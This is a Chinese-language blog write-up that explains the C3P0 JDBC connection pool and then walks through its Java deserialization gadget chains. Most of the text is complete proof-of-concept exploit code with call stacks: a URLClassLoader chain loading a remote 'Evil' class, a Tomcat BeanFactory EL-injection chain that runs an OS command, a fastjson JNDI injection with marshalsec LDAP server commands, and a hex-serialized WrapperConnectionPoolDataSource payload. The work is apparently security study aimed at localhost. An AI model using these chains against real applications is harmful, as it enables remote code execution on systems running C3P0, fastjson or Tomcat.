C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。
关于 JDBC 和 C3P0 的关系,JDBC 就像是 Java 世界里的“交通法规”,它规定了程序和数据库之间该怎么交流。但是,光有法规还不行,还得有人来具体执行和管理。C3P0 就是一个第三方的“车辆调度中心”,它完全遵守 JDBC 这套法规,专门负责帮我们高效地管理数据库连接,虽然它不是 Java 自带的,但它是在帮 JDBC 把工作做得更好。
关于“连接池”是什么,连接池的概念其实特别像咱们骑的“共享单车”。你可以试想一下,如果没有连接池,每次你的程序要读写数据库,都得现场“造”一辆自行车(建立连接),骑完了一次还得马上把它“拆”了(销毁连接)。这一造一拆,既费时间又费力气,效率特别低。
为什么要用它,有了 C3P0 这种连接池,情况就不一样了。它会提前造好几十辆车停在路边(池子里)。当程序需要操作数据库时,直接从池子里“领”一辆车骑走就行;等事情办完了,再把车还回池子里,留着给下一次或者别人用。这样反复利用,省去了频繁创建和销毁连接的开销,系统的反应速度自然就变快了。
那么,如果那几十辆“共享单车”(连接)都被骑走了,这时候又来了新的用户想要用车,你觉得 C3P0 会怎么处理这些新来的请求呢?
想象一下,路边的站点只有 10 辆车,结果全都被人骑走了(连接池空了)。这个时候会怎么做?
当所有连接都在忙的时候,新来的请求不会马上被拒绝,而是会排队等待(阻塞),在这个期间,一旦有别的线程用完把连接“还”回来,C3P0 就会立马把这个连接分配给正在排队的人,但是这个阻塞是有底线的。
在 C3P0 中,这个“底线”有一个专门的术语,叫做 Checkout Timeout,并抛出异常🥸
对于 C3P0 就了解到这里,具体参见 源码详解系列(五) —— C3P0的使用和分析(包括JNDI) 已停更 - 子月生 - 博客园
使用 jdk8u66 依赖如下
1
2
3
4
5
| <dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
|
C3P0常见的利用方式有如下三种
- URLClassLoader远程类加载
- JNDI注入
- 利用HEX序列化字节加载器进行反序列化攻击
URLClassLoader远程类加载
我们知道有这种加载方式
1
2
3
4
5
6
7
8
9
10
11
12
| package org.example;
import java.net.URL;
import java.net.URLClassLoader;
public class UrlClassLoaderPoc {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///Users/admin/Downloads/Jaba/expJar/")});
Class cl = urlClassLoader.loadClass("Evil");
cl.newInstance();
}
}
|

在 C3P0 中同样有一条可以利用的 gadget,入口是PoolBackedDataSourceBase#readObject
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch (version) {
case 1:
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
this.dataSourceName = (String)ois.readObject();
o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.extensions = (Map)o;
this.factoryClassLocation = (String)ois.readObject();
this.identityToken = (String)ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport(this);
this.vcs = new VetoableChangeSupport(this);
return;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}
|
这个 readObject 方法除了读取数据,它还做了一个“解包”的操作,针对IndirectlySerialized对象。调用其getObject方法
1
2
3
4
5
6
7
8
9
10
11
12
13
| //
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.mchange.v2.ser;
import java.io.IOException;
import java.io.Serializable;
public interface IndirectlySerialized extends Serializable {
Object getObject() throws ClassNotFoundException, IOException;
}
|
发现是个接口,找其实例化类,发现是 ReferenceSerialized
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| public Object getObject() throws ClassNotFoundException, IOException {
try {
InitialContext var1;
if (this.env == null) {
var1 = new InitialContext();
} else {
var1 = new InitialContext(this.env);
}
Context var2 = null;
if (this.contextName != null) {
var2 = (Context)var1.lookup(this.contextName);
}
return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
} catch (NamingException var3) {
if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) {
ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", var3);
}
throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + var3.toString());
}
}
|
基于 JNDI 上下文将引用 Reference 还原为具体的 Java 对象,它首先根据 env 初始化 InitialContext,如果指定了contextName则进一步查找获取子上下文,最后将准备好的引用、名称和上下文透传给ReferenceableUtils.referenceToObject方法来完成对象的实例化与返回。跟进
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
try {
String var4 = var0.getFactoryClassName();
String var11 = var0.getFactoryClassLocation();
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
if (var6 == null) {
var6 = ReferenceableUtils.class.getClassLoader();
}
Object var7;
if (var11 == null) {
var7 = var6;
} else {
URL var8 = new URL(var11);
var7 = new URLClassLoader(new URL[]{var8}, var6);
}
Class var12 = Class.forName(var4, true, (ClassLoader)var7);
ObjectFactory var9 = (ObjectFactory)var12.newInstance();
return var9.getObjectInstance(var0, var1, var2, var3);
} catch (Exception var10) {
if (logger.isLoggable(MLevel.FINE)) {
logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
}
NamingException var5 = new NamingException("Could not resolve Reference to Object!");
var5.setRootCause(var10);
throw var5;
}
}
|
获取目标工厂类的名字和地址,接着获取 ClassLoader,这里肯定就是 URLClassLoader 了,然后反射调用。
需要伪造的 ConnectionPoolDataSource,不实现 Serializable 接口,强制触发 C3P0 的 ReferenceIndirector 逻辑
Poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
| package org.example;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class UrlClassLoaderPoc {
public static void main(String[] args) throws Exception {
Reference ref = new Reference("Evil", "Evil", "http://127.0.0.1:8000/");
Class<?> clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Constructor<?> ctor = clazz.getDeclaredConstructor(boolean.class);
ctor.setAccessible(true);
PoolBackedDataSourceBase targetObject = (PoolBackedDataSourceBase) ctor.newInstance(false);
ConnectionPoolDataSource maliciousSource = new MaliciousConnectionPoolDataSource(ref);
Field field = clazz.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(targetObject, maliciousSource);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(targetObject);
oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
static class MaliciousConnectionPoolDataSource implements ConnectionPoolDataSource, Referenceable {
private Reference reference;
public MaliciousConnectionPoolDataSource(Reference reference) {
this.reference = reference;
}
@Override
public Reference getReference() throws NamingException {
return reference;
}
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException { }
@Override public void setLoginTimeout(int seconds) throws SQLException { }
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; }
}
}
|
调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| at Evil.<init>(Evil.java:2)
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at java.lang.Class.newInstance(Class.java:442)
at com.mchange.v2.naming.ReferenceableUtils.referenceToObject(ReferenceableUtils.java:92)
at com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized.getObject(ReferenceIndirector.java:118)
at com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.readObject(PoolBackedDataSourceBase.java:211)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at org.example.UrlClassLoaderPoc.main(UrlClassLoaderPoc.java:37)
|
然后想到既然最后的分支是 JNDI 也会加载的,想要写一个 JNDI 的 poc,但是没注意到属性contextName为默认null且不可控,没成功,想到 EL 表达式注入的打法,写出了以下的 poc
显式传入null,C3P0 就会乖乖走入else分支,使用本地 ClassLoader 加载 Tomcat 的BeanFactory,identityToken需要被正确生成,所以实例化PoolBackedDataSourceBase传入 false
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
| package org.example;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class ELPoc {
public static void main(String[] args) throws Exception {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "open -a Calculator";
String elPayload = "\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"exec\",\"\".getClass().forName(\"java.lang.String\")).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"" + cmd + "\")";
ref.add(new StringRefAddr("x", elPayload));
PoolBackedDataSourceBase targetObject = new PoolBackedDataSourceBase(false);
ConnectionPoolDataSource maliciousSource = new MaliciousConnectionPoolDataSource(ref);
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(targetObject, maliciousSource);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(targetObject);
oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
static class MaliciousConnectionPoolDataSource implements ConnectionPoolDataSource, Referenceable {
private Reference reference;
public MaliciousConnectionPoolDataSource(Reference reference) {
this.reference = reference;
}
@Override
public Reference getReference() throws NamingException {
return reference;
}
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException { }
@Override public void setLoginTimeout(int seconds) throws SQLException { }
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; }
}
}
|

调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| at javax.el.ELProcessor.eval(ELProcessor.java:54)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:210)
at com.mchange.v2.naming.ReferenceableUtils.referenceToObject(ReferenceableUtils.java:93)
at com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized.getObject(ReferenceIndirector.java:118)
at com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.readObject(PoolBackedDataSourceBase.java:211)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at org.example.ELPoc.main(ELPoc.java:42)
|
没想到这就是网上广为流传的不出网打法😼
JNDI 注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| ReferenceSerialized#getObject`中有调用 lookup 方法,但是不可控,那很容易想到打 JNDI 需要找一个合适的入口在这里,看到`JndiRefForwardingDataSource#dereference()
private DataSource dereference() throws SQLException {
Object jndiName = this.getJndiName();
Hashtable jndiEnv = this.getJndiEnv();
try {
InitialContext ctx;
if (jndiEnv != null) {
ctx = new InitialContext(jndiEnv);
} else {
ctx = new InitialContext();
}
if (jndiName instanceof String) {
return (DataSource)ctx.lookup((String)jndiName);
} else if (jndiName instanceof Name) {
return (DataSource)ctx.lookup((Name)jndiName);
} else {
throw new SQLException("Could not find ConnectionPoolDataSource with JNDI name: " + jndiName);
}
} catch (NamingException var4) {
if (logger.isLoggable(MLevel.WARNING)) {
logger.log(MLevel.WARNING, "An Exception occurred while trying to look up a target DataSource via JNDI!", var4);
}
throw SqlUtils.toSQLException(var4);
}
}
|
先获取目标对象的名字和所需参数,初始化InitialContext,如果有 jndienv 就按照配置连,没有就默认配置连,然后就调用 lookup 方法
1
2
3
| public Object getJndiName() {
return this.jndiName instanceof Name ? ((Name)this.jndiName).clone() : this.jndiName;
}
|
虽然无论是 Name 还是 String 都会造成 JNDI,但是跟进 getJndiName 方法发现如果传入 Name 类型的可能是不可控的,所以我们需要传入 String 的。查找什么地方调用了 dereference,到了JndiRefForwardingDataSource#inner
1
2
3
4
5
6
7
8
9
10
11
12
| private synchronized DataSource inner() throws SQLException {
if (this.cachedInner != null) {
return this.cachedInner;
} else {
DataSource out = this.dereference();
if (this.isCaching()) {
this.cachedInner = out;
}
return out;
}
}
|
是带有缓存功能的包装器。只要想办法让代码走到 else 分支(即缓存为空的时候),就能成功触发 JNDI 注入
继续找调用这个的方法,

发现有六个,并且还在这个类里面,前面四个直接排除,抛出错误肯定是更容易做到的,无参方法排除,看到 setLoginTimeout 有传 int 类型就可以触发
1
2
3
| public void setLoginTimeout(int seconds) throws SQLException {
this.inner().setLoginTimeout(seconds);
}
|
不过这个类貌似对 JNDIName 没有什么作用,继续查找调用这个方法的值WrapperConnectionPoolDataSource#setLoginTimeout
1
2
3
| public void setLoginTimeout(int seconds) throws SQLException {
this.getNestedDataSource().setLoginTimeout(seconds);
}
|
跟进
1
2
3
| public synchronized DataSource getNestedDataSource() {
return this.nestedDataSource;
}
|
发现
1
| private DataSource nestedDataSource;
|
类型对上了,
跟进一开始的 getJndiName 发现下面就有 setJndiName
1
2
3
4
5
6
7
8
9
10
11
12
| public void setJndiName(Object jndiName) throws PropertyVetoException {
Object oldVal = this.jndiName;
if (!this.eqOrBothNull(oldVal, jndiName)) {
this.vcs.fireVetoableChange("jndiName", oldVal, jndiName);
}
this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;
if (!this.eqOrBothNull(oldVal, jndiName)) {
this.pcs.firePropertyChange("jndiName", oldVal, jndiName);
}
}
|
实际调用的地方,最后找到是JndiRefConnectionPoolDataSource#setJndiName
1
2
3
| public void setJndiName(Object jndiName) throws PropertyVetoException {
this.jrfds.setJndiName(jndiName);
}
|
启动 JNDI 服务
1
2
| python3 -m http.server 8000
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Evil"
|
poc 如下,使用 fastjson 触发任意 setter 方法
1
2
3
4
5
6
7
8
9
10
11
12
| package org.example;
import com.alibaba.fastjson.JSON;
public class JndiForwardingDataSourcePoc {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1389/#Evil\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
|
调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| at Evil.<init>(Evil.java:1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at java.lang.Class.newInstance(Class.java:442)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at com.mchange.v2.c3p0.JndiRefForwardingDataSource.dereference(JndiRefForwardingDataSource.java:112)
at com.mchange.v2.c3p0.JndiRefForwardingDataSource.inner(JndiRefForwardingDataSource.java:134)
at com.mchange.v2.c3p0.JndiRefForwardingDataSource.setLoginTimeout(JndiRefForwardingDataSource.java:157)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:83)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:773)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:600)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:188)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at org.example.JndiForwardingDataSourcePoc.main(JndiForwardingDataSourcePoc.java:10)
|
利用HEX序列化字节加载器进行反序列化攻击
这个在学习二次反序列化的时候就有所了解,这里改为头使用 EL 表达式的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
| package org.example;
import com.alibaba.fastjson.JSON;
import com.mchange.v2.naming.ReferenceIndirector;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.xml.bind.DatatypeConverter;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
public class HexPoc {
public static void main(String[] args) throws Exception {
String hexString = generateTomcatPayload();
String jsonPayload = "{\n" +
" \"rand1\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
" },\n" +
" \"rand2\": {\n" +
" \"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
" \"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexString + ";\"\n" +
" }\n" +
"}";
JSON.parseObject(jsonPayload);
}
public static String generateTomcatPayload() throws Exception {
String cmd = "open -a Calculator";
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String elPayload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('" + cmd + "')\")";
ref.add(new StringRefAddr("x", elPayload));
ReferenceIndirector indirector = new ReferenceIndirector();
Object referenceSerialized = indirector.indirectForm(new SimpleReferenceable(ref));
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(referenceSerialized);
oos.close();
return DatatypeConverter.printHexBinary(baos.toByteArray());
}
static class SimpleReferenceable implements Referenceable {
private final Reference reference;
public SimpleReferenceable(Reference reference) {
this.reference = reference;
}
@Override
public Reference getReference() throws NamingException {
return reference;
}
}
}
|

调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| at javax.el.ELProcessor.eval(ELProcessor.java:54)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:210)
at com.mchange.v2.naming.ReferenceableUtils.referenceToObject(ReferenceableUtils.java:93)
at com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized.getObject(ReferenceIndirector.java:118)
at com.mchange.v2.ser.SerializableUtils.fromByteArray(SerializableUtils.java:125)
at com.mchange.v2.c3p0.impl.C3P0ImplUtils.parseUserOverridesAsString(C3P0ImplUtils.java:318)
at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource$1.vetoableChange(WrapperConnectionPoolDataSource.java:110)
at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:375)
at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:271)
at com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase.setUserOverridesAsString(WrapperConnectionPoolDataSourceBase.java:387)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:83)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:773)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:600)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:188)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:517)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:201)
at org.example.HexPoc.main(HexPoc.java:29)
|
https://forum.butian.net/share/2868
https://su18.org/post/ysoserial-su18-5/#c3p0
https://baozongwi.xyz/p/java-secondary-deserialization/#wrapperconnectionpooldatasource
https://goodapple.top/archives/1749